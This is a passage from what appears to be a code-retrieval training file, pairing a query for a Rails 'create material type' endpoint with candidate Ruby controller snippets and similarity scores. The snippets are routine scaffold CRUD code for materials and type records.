"def show\n @project = Project.find(params[:project_id])\n @material_usage = @project.material_usages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @material_usage }\n end\n end",
"def show\n @material = Material.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @material }\n end\n end",
"def index\n @material_items = MaterialItem.all\n end",
"def select_material_types(test_data)\n types = test_data[CoreUseOfCollectionsData::MATERIAL_TYPE_LIST.name] || [{CoreUseOfCollectionsData::MATERIAL_TYPE.name => ''}]\n hide_notifications_bar\n prep_fieldsets_for_test_data([fieldset(CoreUseOfCollectionsData::MATERIAL_TYPE_LIST.name)], types)\n\n types.each_with_index do |type, index|\n logger.info \"Entering material type data set at index #{index}: #{type}\"\n wait_for_options_and_select(material_type_input(index), material_type_options(index), type[CoreUseOfCollectionsData::MATERIAL_TYPE.name])\n end\n end",
"def index\n @raw_materials = RawMaterial.all\n end",
"def index\n @raw_materials = RawMaterial.all\n end",
"def show\n @reform_type = ReformType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reform_type }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render json: @typegroup }\n end\n end",
"def show\n @hardware_type = HardwareType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hardware_type }\n end\n end",
"def show\n @ref_med_diagnostic_test_type = Ref::MedDiagnosticTestType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ref_med_diagnostic_test_type }\n end\n end",
"def new\n @mtype = Mtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mtype }\n end\n end",
"def index\n @items_materials = ItemMaterial.all\n end",
"def show\n @media_type = MediaType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @media_type }\n end\n end",
"def show\n @type = Type.find(params[:id])\n end",
"def show\n @structure_type = StructureType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @structure_type }\n end\n end",
"def show\n @type = Type.find(params[:id])\n @things = @type.things\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @type }\n end\n end",
"def index\n render json: usage(params[:type])\n end",
"def show\n @material = Material.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @material }\n format.js\n end\n end",
"def verify_material_types(test_data)\n types = test_data[UseOfCollections::MATERIAL_TYPE_LIST.name] || [{ UseOfCollections::MATERIAL_TYPE.name => ''}]\n types.each_with_index { |type, index| verify_values_match(type[UseOfCollections::MATERIAL_TYPE.name], element_value(material_type_input index)) }\n end",
"def select_material_types(test_data)\n types = test_data[UseOfCollections::MATERIAL_TYPE_LIST.name] || [{ UseOfCollections::MATERIAL_TYPE.name => ''}]\n prep_fieldsets_for_test_data([fieldset(UseOfCollections::MATERIAL_TYPE_LIST.name)], types)\n\n types.each_with_index do |type, index|\n wait_for_options_and_select(material_type_input(index), material_type_options(index), type[UseOfCollections::MATERIAL_TYPE.name])\n end\n end",
"def retrieve_materials(materials)\n return unless materials.present?\n\n show do\n title 'Retrieve Materials'\n note 'Please get the following items'\n table create_location_table(materials)\n end\n end",
"def show\n @realty_type = RealtyType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @realty_type }\n end\n end",
"def show\n @material_list = MaterialList.find(params[:id])\n end",
"def index \n respond_to do |format|\n format.html # index.html.erb\n format.json { \n asset_types = AssetType.all\n render json: asset_types \n }\n end\n end",
"def index\n @hardware_types = HardwareType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hardware_types }\n end\n end",
"def verify_material_types(test_data)\n types = test_data[CoreUseOfCollectionsData::MATERIAL_TYPE_LIST.name] || [{CoreUseOfCollectionsData::MATERIAL_TYPE.name => ''}]\n types.each_with_index { |type, index| verify_values_match(type[CoreUseOfCollectionsData::MATERIAL_TYPE.name], element_value(material_type_input index)) }\n end",
"def index\n @base_materials = BaseMaterial.all\n end",
"def show\n @gl_type = GlType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gl_type }\n end\n end",
"def show\n @manifestation_relationship_type = ManifestationRelationshipType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @manifestation_relationship_type }\n end\n end",
"def get_lesson_types\n get \"lessonTypes.json\"\n end",
"def index\n if params[:name].nil?\n @materials = Material.search(current_user.organization.id, params[:term])\n else\n @materials = Material.search(current_user.organization.id, params[:name])\n end\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {\n if params[:name].nil?\n render json: @materials.map(&:name)\n else\n render json: @materials\n end\n\n }\n end\n end",
"def show\n @raw_material = RawMaterial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @raw_material }\n end\n end",
"def get_material_type_facets\n @get_material_type_facets ||= clean_facets_array(search(\"//genreform\").map(&:text))\n end",
"def new\n @material = Material.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @material }\n end\n end",
"def type\n @json['type']\n end",
"def show\n @rawmaterial = Rawmaterial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rawmaterial }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_types }\n end\n end",
"def show\n @paper_type = PaperType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paper_type }\n end\n end",
"def create\n @material = Material.new(params[:material])\n\n respond_to do |format|\n if @material.save\n format.html { redirect_to @material, notice: 'Material was successfully created.' }\n format.json { render json: @material, status: :created, location: @material }\n else\n format.html { render action: \"new\" }\n format.json { render json: @material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @types_of_apprenticeship = TypesOfApprenticeship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @types_of_apprenticeship }\n end\n end",
"def show\n @producttype = Producttype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producttype }\n end\n end",
"def index\n @raw_material_items = RawMaterialItem.all\n end",
"def show\n @inventory_item_type = InventoryItemType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inventory_item_type }\n end\n end",
"def show\n @energy_data_type = EnergyDataType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @energy_data_type }\n end\n end",
"def new\n @project = Project.find(params[:project_id])\n @material_usage = MaterialUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @material_usage }\n end\n end",
"def create\n\n @material = Material.new(material_params)\n\n if @material.save\n render :show, status: :created, location: @material\n else\n render json: @material.errors, status: :unprocessable_entity\n end\n end",
"def show\n @member_type = MemberType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @member_type }\n end\n end",
"def show\n @genre_type = GenreType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @genre_type }\n end\n end",
"def show\n @metric_type = MetricType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @metric_type }\n end\n end",
"def show\n @mt_material_data = MtMaterialData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mt_material_data }\n end\n end",
"def set_material\n @material = Material.friendly.find(params[:id])\n end",
"def new\n @type = Type.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @type }\n end\n end",
"def index\n @materials = Material.joins(:images).group(\"#{Material.table_name}.id\").having(\"COUNT(#{Image.table_name}.id) > 0\").order(\"`materials`.`blend_updated_at` DESC\").paginate(:page => params[:page])\n\n #TODO: sort materials by number of downloads, rating, etc.\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @materials }\n end\n end",
"def index\n @material_categories = MaterialCategory.all\n \n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @material }\n end\n end",
"def show\n @membertype = Membertype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @membertype }\n end\n end",
"def show\n @product_type = ProductType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product_type }\n end\n end",
"def check_exists\n @material = Material.check_exists(material_params)\n\n if @material\n respond_to do |format|\n format.html { redirect_to @material }\n #format.json { render json: @material }\n format.json { render :show, location: @material }\n end\n else\n respond_to do |format|\n format.html { render :nothing => true, :status => 200, :content_type => 'text/html' }\n format.json { render json: {}, :status => 200, :content_type => 'application/json' }\n end\n end\n end",
"def show\n @resource_fields = Field.where(\"resource_type_id = ?\", params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @resource_type }\n end\n end",
"def index\n @typegroups = Typegroup.all\n respond_to do |format|\n format.html\n format.json { render json: @typegroups }\n end\n end",
"def show\n @fieldtype = Fieldtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fieldtype }\n end\n end",
"def show\n @ftype = Ftype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ftype }\n end\n end",
"def index\n @types = Type.all\n end",
"def set_material\n @material = Material.find(params[:id])\n end",
"def show\n @material_apoyo = MaterialApoyo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @material_apoyo }\n end\n end"
] |
[
"0.7967804",
"0.7653231",
"0.72486734",
"0.7037358",
"0.7037358",
"0.6945488",
"0.69371194",
"0.69371194",
"0.68666506",
"0.68612194",
"0.68612194",
"0.6757629",
"0.6694482",
"0.6648928",
"0.662511",
"0.659436",
"0.65927845",
"0.65748084",
"0.6547958",
"0.6547958",
"0.6547958",
"0.65259206",
"0.6493721",
"0.6468083",
"0.64180344",
"0.6390356",
"0.6325504",
"0.62928176",
"0.6262905",
"0.61973137",
"0.61939687",
"0.6169184",
"0.61575544",
"0.6145616",
"0.6118995",
"0.61066246",
"0.61036146",
"0.6092608",
"0.6092149",
"0.6077104",
"0.6077104",
"0.60723263",
"0.606182",
"0.6058899",
"0.604252",
"0.6030948",
"0.6026434",
"0.6026323",
"0.6025201",
"0.60221344",
"0.60212123",
"0.601919",
"0.60149074",
"0.60141593",
"0.6008086",
"0.6007547",
"0.6007007",
"0.60008526",
"0.599208",
"0.5991983",
"0.59859943",
"0.59709823",
"0.5943929",
"0.593117",
"0.5926185",
"0.5914084",
"0.5904784",
"0.589956",
"0.5895381",
"0.58946717",
"0.5868037",
"0.5867625",
"0.5865897",
"0.58557695",
"0.58553386",
"0.58473015",
"0.5840551",
"0.5836833",
"0.58361316",
"0.582352",
"0.5820499",
"0.5806467",
"0.5806406",
"0.5801258",
"0.5797569",
"0.5797121",
"0.5796429",
"0.5788596",
"0.5786871",
"0.57852864",
"0.57844853",
"0.57832026",
"0.57798564",
"0.5773413",
"0.5771594",
"0.5767478",
"0.5762933",
"0.57585543",
"0.5758066",
"0.57515687"
] |
0.76032364
|
2
|
POST /material_types POST /material_types.json
|
def create
@material_type = MaterialType.new(material_type_params)
if @material_type.save
render json: @material_type, status: :created, location: @material_type
else
render json: @material_type.errors, status: :unprocessable_entity
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @material_type = MaterialType.new(material_type_params)\n\n respond_to do |format|\n if @material_type.save\n format.html { redirect_to @material_type, notice: 'Material type was successfully created.' }\n format.json { render :show, status: :created, location: @material_type }\n else\n format.html { render :new }\n format.json { render json: @material_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def material_type_params\n params.require(:material_type).permit(:name)\n end",
"def material_type_params\n params.require(:material_type).permit(:name_material_type, :desc_material_type)\n end",
"def index\n @material_types = MaterialType.all\n\n render json: @material_types\n end",
"def set_material_type\n @material_type = MaterialType.find(params[:id])\n end",
"def set_material_type\n @material_type = MaterialType.find(params[:id])\n end",
"def create\n @mtype = Mtype.new(params[:mtype])\n\n respond_to do |format|\n if @mtype.save\n format.html { redirect_to @mtype, notice: 'Mtype was successfully created.' }\n format.json { render json: @mtype, status: :created, location: @mtype }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_material_types\n METADATA_RELATIONS_CONFIG['material_types']\n end",
"def verify_material_types(test_data)\n types = test_data[UseOfCollections::MATERIAL_TYPE_LIST.name] || [{ UseOfCollections::MATERIAL_TYPE.name => ''}]\n types.each_with_index { |type, index| verify_values_match(type[UseOfCollections::MATERIAL_TYPE.name], element_value(material_type_input index)) }\n end",
"def index\n @material_types = MaterialType.all\n end",
"def select_material_types(test_data)\n types = test_data[CoreUseOfCollectionsData::MATERIAL_TYPE_LIST.name] || [{CoreUseOfCollectionsData::MATERIAL_TYPE.name => ''}]\n hide_notifications_bar\n prep_fieldsets_for_test_data([fieldset(CoreUseOfCollectionsData::MATERIAL_TYPE_LIST.name)], types)\n\n types.each_with_index do |type, index|\n logger.info \"Entering material type data set at index #{index}: #{type}\"\n wait_for_options_and_select(material_type_input(index), material_type_options(index), type[CoreUseOfCollectionsData::MATERIAL_TYPE.name])\n end\n end",
"def verify_material_types(test_data)\n types = test_data[CoreUseOfCollectionsData::MATERIAL_TYPE_LIST.name] || [{CoreUseOfCollectionsData::MATERIAL_TYPE.name => ''}]\n types.each_with_index { |type, index| verify_values_match(type[CoreUseOfCollectionsData::MATERIAL_TYPE.name], element_value(material_type_input index)) }\n end",
"def select_material_types(test_data)\n types = test_data[UseOfCollections::MATERIAL_TYPE_LIST.name] || [{ UseOfCollections::MATERIAL_TYPE.name => ''}]\n prep_fieldsets_for_test_data([fieldset(UseOfCollections::MATERIAL_TYPE_LIST.name)], types)\n\n types.each_with_index do |type, index|\n wait_for_options_and_select(material_type_input(index), material_type_options(index), type[UseOfCollections::MATERIAL_TYPE.name])\n end\n end",
"def create\r\n @tipo_material = TipoMaterial.new(tipo_material_params)\r\n\r\n respond_to do |format|\r\n if @tipo_material.save\r\n format.html { redirect_to tipo_material_path(@tipo_material), notice: 'Materia prima criada com sucesso.' }\r\n format.json { render :show, status: :created, location: @tipo_material }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @tipo_material.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @material = Material.new(params[:material])\n\n respond_to do |format|\n if @material.save\n format.html { redirect_to @material, notice: 'Material was successfully created.' }\n format.json { render json: @material, status: :created, location: @material }\n else\n format.html { render action: \"new\" }\n format.json { render json: @material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @material_type = MaterialType.find(params[:id])\n\n if @material_type.update(material_type_params)\n head :no_content\n else\n render json: @material_type.errors, status: :unprocessable_entity\n end\n end",
"def material_category_params\n params.require(:material_category).permit(:oftype, :name)\n end",
"def create\n\n @material = Material.new(material_params)\n\n if @material.save\n render :show, status: :created, location: @material\n else\n render json: @material.errors, status: :unprocessable_entity\n end\n end",
"def material_type\n attributes['material_type']\n end",
"def material_type\n attributes['material_type']\n end",
"def create\n @raw_material = RawMaterial.new(raw_material_params)\n\n respond_to do |format|\n if @raw_material.save\n format.html { redirect_to @raw_material, notice: 'Raw material was successfully created.' }\n format.json { render :show, status: :created, location: @raw_material }\n else\n format.html { render :new }\n format.json { render json: @raw_material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @raw_material = RawMaterial.new(raw_material_params)\n\n respond_to do |format|\n if @raw_material.save\n format.html { redirect_to @raw_material, notice: 'Raw material was successfully created.' }\n format.json { render :show, status: :created, location: @raw_material }\n else\n format.html { render :new }\n format.json { render json: @raw_material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tipo_material_params\r\n params.require(:tipo_material).permit(:nome)\r\n end",
"def update\n respond_to do |format|\n if @material_type.update(material_type_params)\n format.html { redirect_to @material_type, notice: 'Material type was successfully updated.' }\n format.json { render :show, status: :ok, location: @material_type }\n else\n format.html { render :edit }\n format.json { render json: @material_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def material_params\n key = type.name.underscore.gsub('/', '_').to_sym # form will typically submit 'material/gemstone'\n params.require(key).permit(:type,\n :parent_id,\n :name_en,\n :name_zh,\n :name_pinyin,\n :description,\n :notes,\n :selectable,\n :inherit_display_name)\n end",
"def create\n respond_to do |format|\n if @material.save\n format.html { redirect_to @material, notice: t('activerecord.messages.material.created_successfully', material: @material.name) }\n format.json { render json: @material, status: :created, location: @material }\n format.js { }\n format.mobile { redirect_to @material, notice: t('activerecord.messages.material.created_successfully', material: @material.name) }\n else\n format.html { render :new }\n format.json { render json: @material.errors, status: :unprocessable_entity }\n format.js { }\n format.mobile { render :new }\n end\n end\n end",
"def create\n @type = Type.new(type_params)\n\n unless @type.save\n render json: @type.errors, status: :unprocessable_entity\n end\n \n end",
"def show\n render json: @material_type\n end",
"def create\n @admin_media_type = Admin::MediaType.new(admin_media_type_params)\n\n respond_to do |format|\n if @admin_media_type.save\n format.html { redirect_to @admin_media_type, notice: 'Media type was successfully created.' }\n format.json { render :show, status: :created, location: @admin_media_type }\n else\n format.html { render :new }\n format.json { render json: @admin_media_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_hardware_type = Admin::HardwareType.new(admin_hardware_type_params)\n\n respond_to do |format|\n if @admin_hardware_type.save\n format.html { redirect_to @admin_hardware_type, notice: 'Hardware type was successfully created.' }\n format.json { render :show, status: :created, location: @admin_hardware_type }\n else\n format.html { render :new }\n format.json { render json: @admin_hardware_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_types\n @types.each do |type|\n create_type(type) unless Type.where(name: type['name']).first\n end\n end",
"def create_material\n # upload a files\n materials = Material\n .upload(params[:meeting][:materials_attributes], @meeting.id)\n\n materials.each do |material|\n @meeting.materials.new(material)\n end\n end",
"def create\n @material = Material.new(params[:material])\n\n if [email protected]?\n flash[:error_created] = @material.errors.full_messages.join(\"<br>\").html_safe\n redirect_to new_material_path\n else\n respond_to do |format|\n if @material.save\n format.html { redirect_to @material, notice: 'Material was successfully created.' }\n format.json { render json: @material, status: :created, location: @material }\n else\n format.html { render action: \"new\" }\n format.json { render json: @material.errors, status: :unprocessable_entity }\n end\n end\n \n end\n end",
"def create\n @hardware_type = HardwareType.new(params[:hardware_type])\n\n respond_to do |format|\n if @hardware_type.save\n format.html { redirect_to @hardware_type, notice: 'Hardware type was successfully created.' }\n format.json { render json: @hardware_type, status: :created, location: @hardware_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hardware_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @material = Material.new(params[:material])\n\n respond_to do |format|\n if @material.save\n @topic.materials << @material\n @topic.save\n format.html { redirect_to(course_topic_material_url(@course, @topic, @material), :notice => 'Material was successfully created.') }\n format.xml { render :xml => @material, :status => :created, :location => @material }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @material.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_material\n begin\n @material = type.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n redirect_to materials_path, alert: \"Could not find #{type.name.split(':').last} with ID #{params[:id]}!\"\n end\n end",
"def create\n @ref_med_diagnostic_test_type = Ref::MedDiagnosticTestType.new(params[:ref_med_diagnostic_test_type])\n\n respond_to do |format|\n if @ref_med_diagnostic_test_type.save\n format.html { redirect_to ref_med_diagnostic_test_types_path, notice: I18n.t(:record_created) }\n format.json { render json: @ref_med_diagnostic_test_type, status: :created, location: @ref_med_diagnostic_test_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ref_med_diagnostic_test_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def maker_params\n params.require(:maker).permit(:name, type_ids: [])\n end",
"def create\n @material = Material.new(material_params)\n @material.user_materials.build(role: 3, user_id: current_user.id)\n respond_to do |format|\n if @material.save\n format.html { redirect_to edit_material_path(@material) }\n format.json { render :show, status: :created, location: @material }\n format.js\n else\n format.html { redirect_to root_path, notice: 'Error.' }\n format.json { render json: @material.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def type_params\n params.from_jsonapi.require(:type).permit(:name)\n end",
"def create\n @modeltype = Modeltype.new(modeltype_params)\n\n respond_to do |format|\n if @modeltype.save\n format.html { redirect_to @modeltype, notice: 'Modeltype was successfully created.' }\n format.json { render :show, status: :created, location: @modeltype }\n else\n format.html { render :new }\n format.json { render json: @modeltype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_material = UserMaterial.new(user_material_params)\n\n respond_to do |format|\n if @user_material.save\n format.html { redirect_to @user_material, notice: 'User material was successfully created.' }\n format.json { render :show, status: :created, location: @user_material }\n else\n format.html { render :new }\n format.json { render json: @user_material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @material_item = MaterialItem.new(material_item_params)\n\n respond_to do |format|\n if @material_item.save\n format.html { redirect_to @material_item, notice: 'Material item was successfully created.' }\n format.json { render :show, status: :created, location: @material_item }\n else\n format.html { render :new }\n format.json { render json: @material_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ref_mkb_type = Ref::MkbType.new(params[:ref_mkb_type])\n\n respond_to do |format|\n if @ref_mkb_type.save\n format.html { redirect_to ref_mkb_types_path, notice: I18n.t(:record_created) }\n format.json { render json: @ref_mkb_type, status: :created, location: @ref_mkb_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ref_mkb_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @receipt_item_type = current_account.receipt_item_types.create(receipt_item_type_params)\n if @receipt_item_type\n respond_with @receipt_item_type do |format|\n format.json { render :json => current_account.receipt_item_types.include_names.find(@receipt_item_type.id) }\n end\n else\n respond_with @receipt_item_type\n end\n end",
"def material_params\n params.require(:material).permit(:nome, :classe_material_id, :quantidade, :unidades_medida_id, :descricao, :local_armazenamento_id)\n end",
"def create\n @material_category = MaterialCategory.new(material_category_params)\n\n respond_to do |format|\n if @material_category.save\n format.html { redirect_to @material_category, notice: 'Material category was successfully created.' }\n format.json { render :show, status: :created, location: @material_category }\n else\n format.html { render :new }\n format.json { render json: @material_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @material_category = MaterialCategory.new(material_category_params)\n\n respond_to do |format|\n if @material_category.save\n format.html { redirect_to @material_category, notice: 'Material category was successfully created.' }\n format.json { render :show, status: :created, location: @material_category }\n else\n format.html { render :new }\n format.json { render json: @material_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @modtype = Modtype.new(modtype_params)\n\n respond_to do |format|\n if @modtype.save\n format.html { redirect_to @modtype, notice: 'Modtype was successfully created.' }\n format.json { render action: 'show', status: :created, location: @modtype }\n else\n format.html { render action: 'new' }\n format.json { render json: @modtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rawmaterial = Rawmaterial.new(params[:rawmaterial])\np params[:rawmaterial][:rawmaterial_category_id]\n respond_to do |format|\n if @rawmaterial.save\n flash[:notice] = 'Rawmaterial was successfully created.'\n format.html { redirect_to(@rawmaterial) }\n format.xml { render :xml => @rawmaterial, :status => :created, :location => @rawmaterial }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rawmaterial.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new_material_attributes=(material_attributes)\n material_attributes.each do |attributes|\n materials.build(attributes)\n end\n end",
"def create\n @recipe_type = RecipeType.new(recipe_type_params)\n\n respond_to do |format|\n if @recipe_type.save\n format.html { redirect_to @recipe_type, notice: \"Recipe type was successfully created.\" }\n format.json { render :show, status: :created, location: @recipe_type }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @recipe_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_tipo_material\r\n @tipo_material = TipoMaterial.find(params[:id])\r\n end",
"def create\n @media_type = MediaType.new(params[:media_type])\n\n respond_to do |format|\n if @media_type.save\n format.html { redirect_to @media_type, notice: 'Media type was successfully created.' }\n format.json { render json: @media_type, status: :created, location: @media_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @media_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @raw_material = RawMaterial.new(params[:raw_material])\n\n respond_to do |format|\n if @raw_material.save\n format.html { redirect_to(@raw_material, :notice => 'RawMaterial was successfully created.') }\n format.xml { render :xml => @raw_material, :status => :created, :location => @raw_material }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @raw_material.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @affected_type = AffectedType.new(affected_type_params)\n\n respond_to do |format|\n if @affected_type.save\n format.html { redirect_to @affected_type, notice: 'Affected type was successfully created.' }\n format.json { render :show, status: :created, location: @affected_type }\n else\n format.html { render :new }\n format.json { render json: @affected_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @material_type.destroy\n respond_to do |format|\n format.html { redirect_to material_types_url, notice: 'Material type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def addMetadataType\n begin\n # Name of the metadatatype to be added\n name = params[:metadatatypename].to_s.strip.downcase\n value_type = params[:value_type].to_s.strip.downcase\n\n if value_type == \"\"\n value_type = \"string\"\n elsif value_type != \"string\" && value_type != \"float\" && value_type != \"date\" && value_type != \"datetime\"\n render :text => \"Invalid value_type\", :status => 404\n return\n end\n\n # Check that type doesn't exist already\n # @@existing_metadata_types listed in the beginning of file\n if MetadataType.find_by_name(name) or @@existing_metadata_types.include?(name)\n render :text => \"Metadatatype already exists\", :status => 200\n return\n end\n\n # Create new type\n @newtype = MetadataType.create(:name => name, :value_type => value_type)\n render :text => \"Metadatatype created\", :status => 201\n return\n rescue => e\n puts \"Error in adding metadatatype: #{e.to_s}\".background(:red)\n render :text => \"Conflict\", :status => 409\n return\n end\n end",
"def media_types_params\n params.require(:media_type).permit(:name)\n end",
"def create\n @raw_material_item = RawMaterialItem.new(raw_material_item_params)\n\n respond_to do |format|\n if @raw_material_item.save\n format.html { redirect_to @raw_material_item, notice: 'Raw material item was successfully created.' }\n format.json { render :show, status: :created, location: @raw_material_item }\n else\n format.html { render :new }\n format.json { render json: @raw_material_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @dashboard_material = Material.new(dashboard_material_params)\r\n respond_to do |format|\r\n if @dashboard_material.save\r\n flash[:success] = \"Material para \" + @dashboard_material.discipline.name + \" cadastrado com sucesso.\"\r\n format.html { redirect_to dashboard_materials_path }\r\n format.json { render :show, status: :created, location: @dashboard_material }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @dashboard_material.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @realty_type = RealtyType.new(params[:realty_type])\n\n respond_to do |format|\n if @realty_type.save\n format.html { redirect_to @realty_type, notice: 'Realty type was successfully created.' }\n format.json { render json: @realty_type, status: :created, location: @realty_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @realty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \t@material = @requerimiento.materiales.create(params[:material])\n\n logger.debug(\"Material a crear: #{@material}\")\n\n respond_to do |format|\n if @material.save\n format.html { redirect_to(@requerimiento, :notice => \"Se asigno el material al requerimiento nro: #{@requerimiento.id}\") }\n format.xml { render :xml => @material, :status => :created, :location => @requerimiento }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @material.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @studytype = Studytype.new(studytype_params)\n\n respond_to do |format|\n if @studytype.save\n format.html { redirect_to moderator_studytypes_path, notice: 'Studytype was successfully created.' }\n format.json { render :show, status: :created, location: @studytype }\n else\n format.html { render :new }\n format.json { render json: @studytype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @material = Material.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @material }\n end\n end",
"def new\n @material = Material.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @material }\n end\n end",
"def new\n @material = Material.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @material }\n end\n end",
"def create\n @material_category = MaterialCategory.new(material_category_params)\n\n respond_to do |format|\n if @material_category.save\n format.html { redirect_to @material_category, notice: '板料种类创建成功!' }\n format.json { render :show, status: :created, location: @material_category }\n else\n format.html { render :new }\n format.json { render json: @material_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @mtype = Mtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mtype }\n end\n end",
"def create\n @doacao_material = DoacaoMaterial.new(doacao_material_params)\n\n respond_to do |format|\n if @doacao_material.save\n format.html { redirect_to @doacao_material, notice: 'Material cadastrado com sucesso.' }\n format.json { render :show, status: :created, location: @doacao_material }\n else\n format.html { render :new }\n format.json { render json: @doacao_material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n field_type_ids = params[:entry_type].delete(\"field_type_ids\")\n @entry_type = EntryType.new(params[:entry_type])\n @entry_type.field_type_ids = field_type_ids\n @entry_type.form_code = build_form_code(@entry_type.field_types)\n @entry_type.model_code = build_model_code(@entry_type.name, @entry_type.field_types)\n @entry_type.model = build_model_from_code(@entry_type)\n\n respond_to do |format|\n if @entry_type.save\n format.html { redirect_to @entry_type, notice: 'Entry type was successfully created.' }\n format.json { render json: @entry_type, status: :created, location: @entry_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @m_test_type = MTestType.new(m_test_type_params)\n\n respond_to do |format|\n if @m_test_type.save\n format.html { redirect_to @m_test_type, notice: 'M test type was successfully created.' }\n format.json { render :show, status: :created, location: @m_test_type }\n else\n format.html { render :new }\n format.json { render json: @m_test_type.errors, status: :unprocessable_entity }\n end\n end\n end",
